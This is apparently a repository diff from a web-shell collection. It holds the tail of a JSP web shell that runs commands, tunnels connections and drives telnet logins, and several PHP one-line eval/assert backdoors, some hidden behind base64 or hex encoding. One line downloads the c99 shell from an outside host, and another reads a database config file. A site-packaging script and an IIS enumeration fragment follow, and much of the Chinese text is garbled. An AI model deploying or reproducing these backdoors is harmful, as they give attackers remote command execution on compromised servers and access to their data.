}
|
||||||
|
break;
|
||||||
|
case STATE_IACSB:
|
||||||
|
if(debug > 2) System.out.println(""+b+" ");
|
||||||
|
switch (b) {
|
||||||
|
case IAC:
|
||||||
|
neg_state = STATE_IACSBIAC;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
current_sb = b;
|
||||||
|
sbcount = 0;
|
||||||
|
neg_state = STATE_IACSBDATA;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IACSBDATA:
|
||||||
|
if (debug > 2) System.out.println(""+b+" ");
|
||||||
|
switch (b) {
|
||||||
|
case IAC:
|
||||||
|
neg_state = STATE_IACSBDATAIAC;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
sbbuf[sbcount++] = b;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
case STATE_IACSBDATAIAC:
|
||||||
|
if (debug > 2) System.out.println(""+b+" ");
|
||||||
|
switch (b) {
|
||||||
|
case IAC:
|
||||||
|
neg_state = STATE_IACSBDATA;
|
||||||
|
sbbuf[sbcount++] = IAC;
|
||||||
|
break;
|
||||||
|
case SE:
|
||||||
|
handle_sb(current_sb,sbbuf,sbcount);
|
||||||
|
current_sb = 0;
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
case SB:
|
||||||
|
handle_sb(current_sb,sbbuf,sbcount);
|
||||||
|
neg_state = STATE_IACSB;
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
default:
|
||||||
|
if (debug > 2)
|
||||||
|
System.out.println(
|
||||||
|
"This should not happen: "+
|
||||||
|
neg_state+" "
|
||||||
|
);
|
||||||
|
neg_state = STATE_DATA;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
buf = new byte[noffset];
|
||||||
|
System.arraycopy(nbuf, 0, buf, 0, noffset);
|
||||||
|
return buf;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
class TelnetConnect
|
||||||
|
{
|
||||||
|
TelnetIO tio = new TelnetIO();
|
||||||
|
int port = 0;
|
||||||
|
public TelnetConnect(int port)
|
||||||
|
{
|
||||||
|
this.port = port;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void connect()
|
||||||
|
{
|
||||||
|
try {
|
||||||
|
tio.connect("localhost",port);
|
||||||
|
} catch(IOException e) {}
|
||||||
|
}
|
||||||
|
|
||||||
|
public void disconnect()
|
||||||
|
{
|
||||||
|
try{
|
||||||
|
tio.disconnect();
|
||||||
|
}catch(IOException e){}
|
||||||
|
}
|
||||||
|
|
||||||
|
private String wait(String prompt)
|
||||||
|
{
|
||||||
|
String tmp = "";
|
||||||
|
do {
|
||||||
|
try {
|
||||||
|
tmp += new String(tio.receive(), 0);
|
||||||
|
}catch(IOException e) {}
|
||||||
|
} while(tmp.indexOf(prompt) == -1);
|
||||||
|
return tmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private byte[] receive()
|
||||||
|
{
|
||||||
|
byte[] temp = null;
|
||||||
|
try{
|
||||||
|
temp = tio.receive();
|
||||||
|
}catch(IOException e){}
|
||||||
|
return temp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private String waitshell()
|
||||||
|
{
|
||||||
|
String tmp = "";
|
||||||
|
do {
|
||||||
|
try { tmp += new String(tio.receive(), 0); }
|
||||||
|
catch(IOException e) {}
|
||||||
|
} while((tmp.indexOf("$") == -1)&&(tmp.indexOf("#") == -1)&&(tmp.indexOf("%") == -1));
|
||||||
|
return tmp;
|
||||||
|
}
|
||||||
|
|
||||||
|
private void send(String str)
|
||||||
|
{
|
||||||
|
byte[] buf = new byte[str.length()];
|
||||||
|
str.getBytes(0, str.length(), buf, 0);
|
||||||
|
try { tio.send(buf); } catch(IOException e) {}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
%>
|
||||||
|
<%
|
||||||
|
String action = request.getParameter("action");
|
||||||
|
String cmd = request.getParameter("cmd");
|
||||||
|
String remoteHost = request.getParameter("remoteHost");
|
||||||
|
String myIp = request.getParameter("myIp");
|
||||||
|
String myPort = request.getParameter("myPort");
|
||||||
|
String remotePort = request.getParameter("remotePort");
|
||||||
|
String username = request.getParameter("username");
|
||||||
|
String password = request.getParameter("password");
|
||||||
|
String myShell = request.getParameter("myShell");
|
||||||
|
if(action.equals("shell")){
|
||||||
|
try {
|
||||||
|
Process child = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream in = child.getInputStream();
|
||||||
|
int c;
|
||||||
|
while ((c = in.read()) != -1) { out.print((char)c); }
|
||||||
|
in.close();
|
||||||
|
try { child.waitFor();} catch (InterruptedException e) {}
|
||||||
|
} catch (IOException e) {}
|
||||||
|
}else if(action.equals("piped")){
|
||||||
|
piped me = new piped(remoteHost,Integer.parseInt(remotePort),myIp,Integer.parseInt(myPort));
|
||||||
|
}else if(action.equals("tunnel")){
|
||||||
|
tunnel me = new tunnel(Integer.parseInt(myPort),
|
||||||
|
remoteHost, Integer.parseInt(remotePort));
|
||||||
|
}else if(action.equals("login")){
|
||||||
|
TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
|
||||||
|
tc.connect();
|
||||||
|
out.print(tc.wait("login:"));
|
||||||
|
tc.send(username+"\r");
|
||||||
|
out.print(tc.wait("Password:"));
|
||||||
|
tc.send(password+"\r");
|
||||||
|
out.print(tc.waitshell());
|
||||||
|
tc.disconnect();
|
||||||
|
}else if(action.equals("send")){
|
||||||
|
TelnetConnect tc = new TelnetConnect(Integer.parseInt(myPort));
|
||||||
|
tc.connect();
|
||||||
|
tc.send(cmd+"\r");
|
||||||
|
if(!myShell.equals("logout"))
|
||||||
|
out.print(tc.wait(myShell));
|
||||||
|
tc.disconnect();
|
||||||
|
}else if(action.equals("close")){
|
||||||
|
try{
|
||||||
|
Socket s = new Socket("127.0.0.1",Integer.parseInt(myPort));
|
||||||
|
DataOutputStream dos = new DataOutputStream(s.getOutputStream());
|
||||||
|
PrintStream ps = new PrintStream(dos);
|
||||||
|
ps.println("--GoodBye--");
|
||||||
|
ps.close();
|
||||||
|
dos.close();
|
||||||
|
s.close();
|
||||||
|
}catch(Exception e){}
|
||||||
|
}else{
|
||||||
|
out.print("<Font color=black size=7>You Love Hacker Too?");
|
||||||
|
}
|
||||||
|
%>
|
||||||
1
net-friend/php/2.php
Normal file
1
net-friend/php/2.php
Normal file
@@ -0,0 +1 @@
|
|||||||
|
<?php assert($_REQUEST["c"]);?>
|
||||||
291
net-friend/php/moon.php
Normal file
291
net-friend/php/moon.php
Normal file
File diff suppressed because one or more lines are too long
61
net-friend/php/php一句话后门.TXT
Normal file
61
net-friend/php/php一句话后门.TXT
Normal file
@@ -0,0 +1,61 @@
|
|||||||
|
<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD>ɣ<EFBFBD><?php @eval($_POST['lostwolf']);?>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<script language="php">@fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<?php fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"))?>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<script language="php">
|
||||||
|
|
||||||
|
fputs (fopen(pack("H*","6c6f7374776f6c662e706870"),"w"),pack("H*","3c3f406576616c28245f504f53545b6c6f7374776f6c665d293f3e"));
|
||||||
|
</script>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
//file:lostwolf.php
|
||||||
|
//pass:lostwolf
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<EFBFBD><EFBFBD>ǿ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>룺
|
||||||
|
|
||||||
|
<?php substr(md5($_REQUEST['x']),28)=='acd0'&&eval($_REQUEST['c']);?>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
//<2F>˵<EFBFBD><CBB5>ύ http://192.168.1.5/x.php?x=lostwolf <20>ű<EFBFBD><C5B1><EFBFBD><EFBFBD><EFBFBD>:php <20><><EFBFBD><EFBFBD>Ϊ c
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<?php assert($_REQUEST["c"]);?> //<2F>˵<EFBFBD><CBB5><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD>ܼ<EFBFBD><DCBC><EFBFBD> <20><><EFBFBD><EFBFBD>c
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD>Զ<EFBFBD><EFBFBD>shell
|
||||||
|
|
||||||
|
<?php
|
||||||
|
echo copy("http://www.r57.me/c99.txt","lostwolf.php");
|
||||||
|
?>
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
<? echo file_get_contents("..//cfg_database.php");?> //<2F><>ʾij<CABE>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
|
<? eval ( file_get_contents("Զ<><D4B6>shell")) ?> //<2F><><EFBFBD><EFBFBD>Զ<EFBFBD><D4B6>shell
|
||||||
BIN
net-friend/php/php网站打包(dodo)/php网站打包(dodo).doc
Normal file
BIN
net-friend/php/php网站打包(dodo)/php网站打包(dodo).doc
Normal file
Binary file not shown.
342
net-friend/php/php网站打包(dodo)/zip.php
Normal file
342
net-friend/php/php网站打包(dodo)/zip.php
Normal file
@@ -0,0 +1,342 @@
|
|||||||
|
<html>
|
||||||
|
<head>
|
||||||
|
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
|
||||||
|
<title>PHP<EFBFBD><EFBFBD>վ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>-By DoDo</title>
|
||||||
|
</head>
|
||||||
|
<body>
|
||||||
|
<form name="myform" method="post" action="">
|
||||||
|
|
||||||
|
<?
|
||||||
|
ini_set('memory_limit', '2048M');
|
||||||
|
echo "ѡ<EFBFBD><EFBFBD>Ҫѹ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD>Ŀ¼<EFBFBD><EFBFBD><br>";
|
||||||
|
$fdir = opendir('./');
|
||||||
|
while($file=readdir($fdir))
|
||||||
|
{
|
||||||
|
if($file=='.'|| $file=='..')
|
||||||
|
continue;
|
||||||
|
echo "<input name='dfile[]' type='checkbox' value='$file' ".($file==basename(__FILE__)?"":"checked")."> ";
|
||||||
|
|
||||||
|
if(is_file($file))
|
||||||
|
{
|
||||||
|
echo "<font face=\"wingdings\" size=\"5\">2</font> $file<br>";
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
echo "<font face=\"wingdings\" size=\"5\">0</font> $file<br>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
|
||||||
|
<br>
|
||||||
|
<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:
|
||||||
|
<input name="file_type" type="text" id="file_type" value="" size="50">
|
||||||
|
<font color="red">
|
||||||
|
(<28>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"|"<22><><EFBFBD><EFBFBD>,Ĭ<>Ͽ<EFBFBD><CFBF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>,<2C><>:<3A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>php<68><70>jpg<70>ļ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>"php|jpg")
|
||||||
|
</font>
|
||||||
|
<br>
|
||||||
|
ѹ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD>浽Ŀ¼:
|
||||||
|
<input name="todir" type="text" id="todir" value="__dodo__" size="15">
|
||||||
|
<font color="red">
|
||||||
|
(<28><><EFBFBD><EFBFBD>Ϊ<EFBFBD><CEAA>Ŀ¼,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>д<EFBFBD><D0B4>Ȩ<EFBFBD><C8A8>)
|
||||||
|
</font>
|
||||||
|
<br>
|
||||||
|
ѹ<EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>:
|
||||||
|
<input name="zipname" type="text" id="zipname" value="dodo.zip" size="15">
|
||||||
|
<font color="red">
|
||||||
|
(.zip)
|
||||||
|
</font>
|
||||||
|
<br>
|
||||||
|
<br>
|
||||||
|
<input name="myaction" type="hidden" id="myaction" value="dozip">
|
||||||
|
<input type='button' value='<27><>ѡ' onclick='selrev();'>
|
||||||
|
<input type="submit" name="Submit" value=" <20><>ʼѹ<CABC><D1B9> ">
|
||||||
|
<script language='javascript'>
|
||||||
|
function selrev()
|
||||||
|
{
|
||||||
|
with(document.myform)
|
||||||
|
{
|
||||||
|
for(i=0;i<elements.length;i++)
|
||||||
|
{
|
||||||
|
thiselm = elements[i];
|
||||||
|
if(thiselm.name.match(/dfile\[]/))
|
||||||
|
thiselm.checked = !thiselm.checked;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<?
|
||||||
|
set_time_limit(0);
|
||||||
|
class PHPzip
|
||||||
|
{
|
||||||
|
var $file_count = 0 ;
|
||||||
|
var $datastr_len = 0;
|
||||||
|
var $dirstr_len = 0;
|
||||||
|
var $filedata = ''; //<2F>ñ<EFBFBD><C3B1><EFBFBD>ֻ<EFBFBD><D6BB><EFBFBD><EFBFBD><EFBFBD>ⲿ<EFBFBD><E2B2BF><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
var $gzfilename;
|
||||||
|
var $fp;
|
||||||
|
var $dirstr='';
|
||||||
|
var $filefilters = array();
|
||||||
|
|
||||||
|
function SetFileFilter($filetype)
|
||||||
|
{
|
||||||
|
$this->filefilters = explode('|',$filetype);
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>ʱ<EFBFBD><CAB1><EFBFBD><EFBFBD>ʽ.
|
||||||
|
//ֻΪ<D6BB><CEAA><EFBFBD><EFBFBD><EFBFBD>ڲ<EFBFBD><DAB2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
|
function unix2DosTime($unixtime = 0)
|
||||||
|
{
|
||||||
|
$timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
|
||||||
|
if ($timearray['year'] < 1980)
|
||||||
|
{
|
||||||
|
$timearray['year'] = 1980;
|
||||||
|
$timearray['mon'] = 1;
|
||||||
|
$timearray['mday'] = 1;
|
||||||
|
$timearray['hours'] = 0;
|
||||||
|
$timearray['minutes'] = 0;
|
||||||
|
$timearray['seconds'] = 0;
|
||||||
|
}
|
||||||
|
return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><>ʼ<EFBFBD><CABC><EFBFBD>ļ<EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>Ŀ¼,
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD>д<EFBFBD><D0B4>Ȩ<EFBFBD><C8A8>.
|
||||||
|
function startfile($path = 'dodo.zip')
|
||||||
|
{
|
||||||
|
$this->gzfilename=$path;
|
||||||
|
$mypathdir=array();
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
$mypathdir[] = $path = dirname($path);
|
||||||
|
} while($path != '.');
|
||||||
|
|
||||||
|
@end($mypathdir);
|
||||||
|
|
||||||
|
do
|
||||||
|
{
|
||||||
|
$path = @current($mypathdir);
|
||||||
|
@mkdir($path);
|
||||||
|
} while(@prev($mypathdir));
|
||||||
|
|
||||||
|
if($this->fp=@fopen($this->gzfilename,"w"))
|
||||||
|
{
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD> zip ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.
|
||||||
|
function addfile($data, $name)
|
||||||
|
{
|
||||||
|
$name = str_replace('\\', '/', $name);
|
||||||
|
if(strrchr($name,'/')=='/')
|
||||||
|
return $this->adddir($name);
|
||||||
|
if(!empty($this->filefilters))
|
||||||
|
{
|
||||||
|
if (!in_array(end(explode(".",$name)), $this->filefilters))
|
||||||
|
{
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
$dtime = dechex($this->unix2DosTime());
|
||||||
|
$hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1];
|
||||||
|
eval('$hexdtime = "' . $hexdtime . '";');
|
||||||
|
|
||||||
|
$unc_len = strlen($data);
|
||||||
|
$crc = crc32($data);
|
||||||
|
$zdata = gzcompress($data);
|
||||||
|
$c_len = strlen($zdata);
|
||||||
|
$zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD>ݸ<EFBFBD>ʽ<EFBFBD><CABD>:
|
||||||
|
$datastr = "\x50\x4b\x03\x04";
|
||||||
|
$datastr .= "\x14\x00"; // ver needed to extract
|
||||||
|
$datastr .= "\x00\x00"; // gen purpose bit flag
|
||||||
|
$datastr .= "\x08\x00"; // compression method
|
||||||
|
$datastr .= $hexdtime; // last mod time and date
|
||||||
|
$datastr .= pack('V', $crc); // crc32
|
||||||
|
$datastr .= pack('V', $c_len); // compressed filesize
|
||||||
|
$datastr .= pack('V', $unc_len); // uncompressed filesize
|
||||||
|
$datastr .= pack('v', strlen($name)); // length of filename
|
||||||
|
$datastr .= pack('v', 0); // extra field length
|
||||||
|
$datastr .= $name;
|
||||||
|
$datastr .= $zdata;
|
||||||
|
$datastr .= pack('V', $crc); // crc32
|
||||||
|
$datastr .= pack('V', $c_len); // compressed filesize
|
||||||
|
$datastr .= pack('V', $unc_len); // uncompressed filesize
|
||||||
|
fwrite($this->fp,$datastr); //д<><D0B4><EFBFBD>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
$my_datastr_len = strlen($datastr);
|
||||||
|
unset($datastr);
|
||||||
|
|
||||||
|
//<2F><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD>Ŀ¼<C4BF><C2BC>Ϣ
|
||||||
|
$dirstr = "\x50\x4b\x01\x02";
|
||||||
|
$dirstr .= "\x00\x00"; // version made by
|
||||||
|
$dirstr .= "\x14\x00"; // version needed to extract
|
||||||
|
$dirstr .= "\x00\x00"; // gen purpose bit flag
|
||||||
|
$dirstr .= "\x08\x00"; // compression method
|
||||||
|
$dirstr .= $hexdtime; // last mod time & date
|
||||||
|
$dirstr .= pack('V', $crc); // crc32
|
||||||
|
$dirstr .= pack('V', $c_len); // compressed filesize
|
||||||
|
$dirstr .= pack('V', $unc_len); // uncompressed filesize
|
||||||
|
$dirstr .= pack('v', strlen($name) ); // length of filename
|
||||||
|
$dirstr .= pack('v', 0 ); // extra field length
|
||||||
|
$dirstr .= pack('v', 0 ); // file comment length
|
||||||
|
$dirstr .= pack('v', 0 ); // disk number start
|
||||||
|
$dirstr .= pack('v', 0 ); // internal file attributes
|
||||||
|
$dirstr .= pack('V', 32 ); // external file attributes - 'archive' bit set
|
||||||
|
$dirstr .= pack('V',$this->datastr_len ); // relative offset of local header
|
||||||
|
$dirstr .= $name;
|
||||||
|
$this->dirstr .= $dirstr; //Ŀ¼<C4BF><C2BC>Ϣ
|
||||||
|
$this -> file_count ++;
|
||||||
|
$this -> dirstr_len += strlen($dirstr);
|
||||||
|
$this -> datastr_len += $my_datastr_len;
|
||||||
|
}
|
||||||
|
|
||||||
|
function adddir($name)
|
||||||
|
{
|
||||||
|
$name = str_replace("\\", "/", $name);
|
||||||
|
$datastr = "\x50\x4b\x03\x04\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||||
|
$datastr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) );
|
||||||
|
$datastr .= pack("v", 0 ).$name.pack("V", 0).pack("V", 0).pack("V", 0);
|
||||||
|
fwrite($this->fp,$datastr); //д<><D0B4><EFBFBD>µ<EFBFBD><C2B5>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||||
|
$my_datastr_len = strlen($datastr);
|
||||||
|
unset($datastr);
|
||||||
|
$dirstr = "\x50\x4b\x01\x02\x00\x00\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00";
|
||||||
|
$dirstr .= pack("V",0).pack("V",0).pack("V",0).pack("v", strlen($name) );
|
||||||
|
$dirstr .= pack("v", 0 ).pack("v", 0 ).pack("v", 0 ).pack("v", 0 );
|
||||||
|
$dirstr .= pack("V", 16 ).pack("V",$this->datastr_len).$name;
|
||||||
|
$this->dirstr .= $dirstr; //Ŀ¼<C4BF><C2BC>Ϣ
|
||||||
|
$this -> file_count ++;
|
||||||
|
$this -> dirstr_len += strlen($dirstr);
|
||||||
|
$this -> datastr_len += $my_datastr_len;
|
||||||
|
}
|
||||||
|
|
||||||
|
function createfile()
|
||||||
|
{
|
||||||
|
//ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ,<2C><><EFBFBD><EFBFBD><EFBFBD>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>,Ŀ¼<C4BF><C2BC>Ϣ<EFBFBD><CFA2>ȡָ<C8A1><D6B8>λ<EFBFBD>õ<EFBFBD><C3B5><EFBFBD>Ϣ
|
||||||
|
$endstr = "\x50\x4b\x05\x06\x00\x00\x00\x00" .
|
||||||
|
pack('v', $this -> file_count) .
|
||||||
|
pack('v', $this -> file_count) .
|
||||||
|
pack('V', $this -> dirstr_len) .
|
||||||
|
pack('V', $this -> datastr_len) .
|
||||||
|
"\x00\x00";
|
||||||
|
fwrite($this->fp,$this->dirstr.$endstr);
|
||||||
|
fclose($this->fp);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if(!trim($_REQUEST[zipname]))
|
||||||
|
$_REQUEST[zipname] = "dodozip.zip";
|
||||||
|
else
|
||||||
|
$_REQUEST[zipname] = trim($_REQUEST[zipname]);
|
||||||
|
|
||||||
|
if(!strrchr(strtolower($_REQUEST[zipname]),'.')=='.zip')
|
||||||
|
$_REQUEST[zipname] .= ".zip";
|
||||||
|
|
||||||
|
$_REQUEST[todir] = str_replace('\\','/',trim($_REQUEST[todir]));
|
||||||
|
|
||||||
|
if(!strrchr(strtolower($_REQUEST[todir]),'/')=='/')
|
||||||
|
$_REQUEST[todir] .= "/";
|
||||||
|
|
||||||
|
if($_REQUEST[todir]=="/")
|
||||||
|
$_REQUEST[todir] = "./";
|
||||||
|
|
||||||
|
function listfiles($dir=".")
|
||||||
|
{
|
||||||
|
global $dodozip;
|
||||||
|
$sub_file_num = 0;
|
||||||
|
if(is_file("$dir"))
|
||||||
|
{
|
||||||
|
if(realpath($dodozip ->gzfilename)!=realpath("$dir"))
|
||||||
|
{
|
||||||
|
$dodozip -> addfile(implode('',file("$dir")),"$dir");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
$handle=opendir("$dir");
|
||||||
|
while ($file = readdir($handle))
|
||||||
|
{
|
||||||
|
if($file=="."||$file=="..")
|
||||||
|
continue;
|
||||||
|
|
||||||
|
if(is_dir("$dir/$file"))
|
||||||
|
{
|
||||||
|
$sub_file_num += listfiles("$dir/$file");
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
if(realpath($dodozip ->gzfilename)!=realpath("$dir/$file"))
|
||||||
|
{
|
||||||
|
$dodozip -> addfile(implode('',file("$dir/$file")),"$dir/$file");
|
||||||
|
$sub_file_num ++;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
closedir($handle);
|
||||||
|
|
||||||
|
if(!$sub_file_num)
|
||||||
|
$dodozip -> addfile("","$dir/");
|
||||||
|
|
||||||
|
return $sub_file_num;
|
||||||
|
}
|
||||||
|
|
||||||
|
function num_bitunit($num)
|
||||||
|
{
|
||||||
|
$bitunit=array(' B',' KB',' MB',' GB');
|
||||||
|
for($key=0;$key<count($bitunit);$key++)
|
||||||
|
{
|
||||||
|
if($num>=pow(2,10*$key)-1)
|
||||||
|
{ //1023B <20><><EFBFBD><EFBFBD>ʾΪ 1KB
|
||||||
|
$num_bitunit_str=(ceil($num/pow(2,10*$key)*100)/100)." $bitunit[$key]";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return $num_bitunit_str;
|
||||||
|
}
|
||||||
|
|
||||||
|
if(is_array($_REQUEST[dfile]))
|
||||||
|
{
|
||||||
|
$dodozip = new PHPzip;
|
||||||
|
if($_REQUEST["file_type"] != NULL)
|
||||||
|
$dodozip -> SetFileFilter($_REQUEST["file_type"]);
|
||||||
|
if($dodozip -> startfile("$_REQUEST[todir]$_REQUEST[zipname]"))
|
||||||
|
{
|
||||||
|
echo "<22><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѹ<EFBFBD><D1B9><EFBFBD>ļ<EFBFBD>...<br><br>";
|
||||||
|
$filenum = 0;
|
||||||
|
foreach($_REQUEST[dfile] as $file)
|
||||||
|
{
|
||||||
|
if(is_file($file))
|
||||||
|
{
|
||||||
|
if(!empty($dodozip -> filefilters))
|
||||||
|
if (!in_array(end(explode(".",$file)), $dodozip -> filefilters))
|
||||||
|
continue;
|
||||||
|
echo "<font face=\"wingdings\" size=\"5\">2</font> $file<br>";
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
echo "<font face=\"wingdings\" size=\"5\">0</font> $file<br>";
|
||||||
|
}
|
||||||
|
$filenum += listfiles($file);
|
||||||
|
}
|
||||||
|
$dodozip -> createfile();
|
||||||
|
|
||||||
|
echo "<br>ѹ<><D1B9><EFBFBD><EFBFBD><EFBFBD><EFBFBD>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> $filenum <20><><EFBFBD>ļ<EFBFBD>.<br><a href='$_REQUEST[todir]$_REQUEST[zipname]' _fcksavedurl='$_REQUEST[todir]$_REQUEST[zipname]'>$_REQUEST[todir]$_REQUEST[zipname] (".num_bitunit(filesize("$_REQUEST[todir]$_REQUEST[zipname]")).")</a>";
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
echo "$_REQUEST[todir]$_REQUEST[zipname] <20><><EFBFBD><EFBFBD>д<EFBFBD><D0B4>,<2C><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>·<EFBFBD><C2B7><EFBFBD><EFBFBD>Ȩ<EFBFBD><C8A8><EFBFBD>Ƿ<EFBFBD><C7B7><EFBFBD>ȷ.<br>";
|
||||||
|
}
|
||||||
|
}
|
||||||
|
?>
|
||||||
|
</form>
|
||||||
|
<hr color="#003388">
|
||||||
|
<center>
|
||||||
|
<a href="http://www.sectop.com" target="_blank">DoDo's Blog</a>
|
||||||
|
</center>
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
41
net-friend/php/php读取iis.txt
Normal file
41
net-friend/php/php读取iis.txt
Normal file
@@ -0,0 +1,41 @@
|
|||||||
|
<?php
|
||||||
|
$ObjService = new COM("IIS://localhost/w3svc");
|
||||||
|
|
||||||
|
foreach ($ObjService as $obj3w) {
|
||||||
|
|
||||||
|
if(is_numeric($obj3w->Name)){
|
||||||
|
|
||||||
|
|
||||||
|
$webSite=new COM("IIS://localhost/w3svc/".$obj3w->Name.'/Root');
|
||||||
|
echo "[ID ] " .$obj3w->Name.'</br>';
|
||||||
|
echo "[NAME ] " .$obj3w->ServerComment.'</br>';
|
||||||
|
$state=intval($obj3w->ServerState);
|
||||||
|
if ($state==2) {
|
||||||
|
|
||||||
|
echo "[STATE ] running".'</br>';
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($state==4) {
|
||||||
|
|
||||||
|
echo "[STATE ] stoped".'</br>';
|
||||||
|
}
|
||||||
|
|
